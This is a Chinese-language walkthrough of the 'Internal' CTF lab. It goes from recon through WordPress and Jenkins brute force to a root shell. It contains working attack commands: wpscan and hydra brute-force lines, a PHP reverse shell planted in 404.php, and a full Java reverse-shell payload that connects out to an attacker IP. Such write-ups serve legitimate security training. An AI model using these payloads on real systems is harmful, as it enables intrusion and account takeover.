靶机ip:10.10.27.141

写在前面

image-20241007125005114

要将internal.thm添加到/etc/hosts 文件中

image-20241007125107606

信息收集

nmap扫描

nmap --min-rate 10000 -sS -sV -sC 10.10.27.141 -oN reports/nmap

image-20241007125127613

发现开放22端口和80端口

80端口

image-20241007125453302

是一个apache的初始页面,扫描一下目录

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt

image-20241007125550493

访问一下

  • /blog

image-20241007125734839

  • /javascript

image-20241007125745983

  • /phpmyadmin

image-20241007125755191

  • /wordpress

image-20241007125806157

不难看出,这是一个wordpress的界面,wordpressblog是一个页面,这里以/blog为主,同时还有个phpMyAdmin

获取初始shell

登录wordpress

先看下phpMyAdmin

image-20241007130432070

查看源码发现版本号是4.6.6,通过searchsploit搜索后发现没有什么可以利用的,将注意力转移到wordpress

使用wpscan扫描一下

wpscan --url http://internal.thm/blog/ -e

image-20241007132505372

发现有个admin账户,尝试破解一下密码

wpscan --url http://internal.thm/blog/ -U admin -P /usr/share/wordlists/rockyou.txt

image-20241007133732602

爆破成功,找到了admin账户的密码my2boys

image-20241007133909433

成功登录

shell获取

image-20241007134755947

在这里发现可以随意更改文件内容。这里将404.php内容改成反弹shell的文件是php-reverse-shell,修改ipport

image-20241007135147307

点击下买你的更新文件。然后在kali上创建监听

image-20241007135221038

现在需要找到404.php文件的位置,从路由中可以看到主题是twentyseventeen,而且大多数主题位于wp-content 目录下,主题位于/wp-content/themes目录下,所以404.php文件的位置是:/wp-content/themes/twentyseventeen/404.php

访问文件http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

image-20241007135719154

image-20241007135736972

这样我们就拿到了低权用户的shell

先获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20241007135934513

image-20241007140014508

/home目录下有个aubreanna用户,现在目标就是提升至user权限

提升至user权限

image-20241007140609325

在翻阅目录的过程中发现在 /opt目录下有个wp-save.txt文件,并且这是我们可以查看的文件,查看一下

image-20241007140727188

得到了aubreanna用户的密码bubb13guM!@#123,登录aubreanna用户

image-20241007140835640

成功登录

image-20241007140900121

/home/aubreanna下找到user.txt

提升至root权限

发现在这个目录还有jenkins.txt文件,查看一下

image-20241007141129333

告诉我们内网Jenkins服务的地址是172.17.0.2:8080

先简单看一下服务

curl http://172.17.0.2:8080

image-20241007141310725

由于目标机器的端口8080只能通过目标机的本地进行访问,所以我们需要设置SSH端口转发,从而将目标机器8080端口上的流量重定向到我们本地攻击机上的地址和端口localhost:8081,在攻击机上的终端界面构造如下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh -f -N -L 8081:172.17.0.2:8080 aubreanna@internal.thm
#根据前述结果,登录密码为:bubb13guM!@#123
#ssh端口转发(本地网卡地址0.0.0.0可省略):HostB$ ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC
#参数说明
#-C:压缩数据
#-f :后台认证用户/密码,通常和-N连用,不用登录到远程主机。
#-N :不执行脚本或命令,通常与-f连用。
#-g :在-L/-R/-D参数中,允许远程主机连接到建立转发的端口,如果不加这个参数,只允许本地主机建立连接。
#-L : 本地隧道,本地端口:目标IP:目标端口
#-D : 动态端口转发
#-R : 远程隧道
#-T :不分配 TTY 只做代理用
#-q :安静模式,不输出 错误/警告 信息

image-20241007143026526

输入密码后即可访问服务

image-20241007143013118

网上的默认密码无法登录,这里使用hydra暴力破解,先找到登录框的表单内容

image-20241007144305568

找到后就可以构造命令了

1
2
3
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8081 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password"

#"/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password"

image-20241007145153970

成功爆破出密码spongebob

image-20241007145244248

成功登录!

image-20241007145413172

在管理界面,有一个可以执行命令的地方,在攻击机先建立监听

image-20241007145512664

然后再执行反弹shell的命令

1
2
3
4
String host="10.11.101.220";
int port=8889;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

image-20241007145625573

image-20241007145647641

拿到jenkins的shell

转到交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20241007145817874

依旧是在老位置/opt下找到note.txt

image-20241007145853700

得到root用户的密码:tr0ub13guM!@#123

直接ssh登录root

ssh root@10.10.27.141

image-20241007150056965

成功登录

image-20241007150119151

在当前目录找到root.txt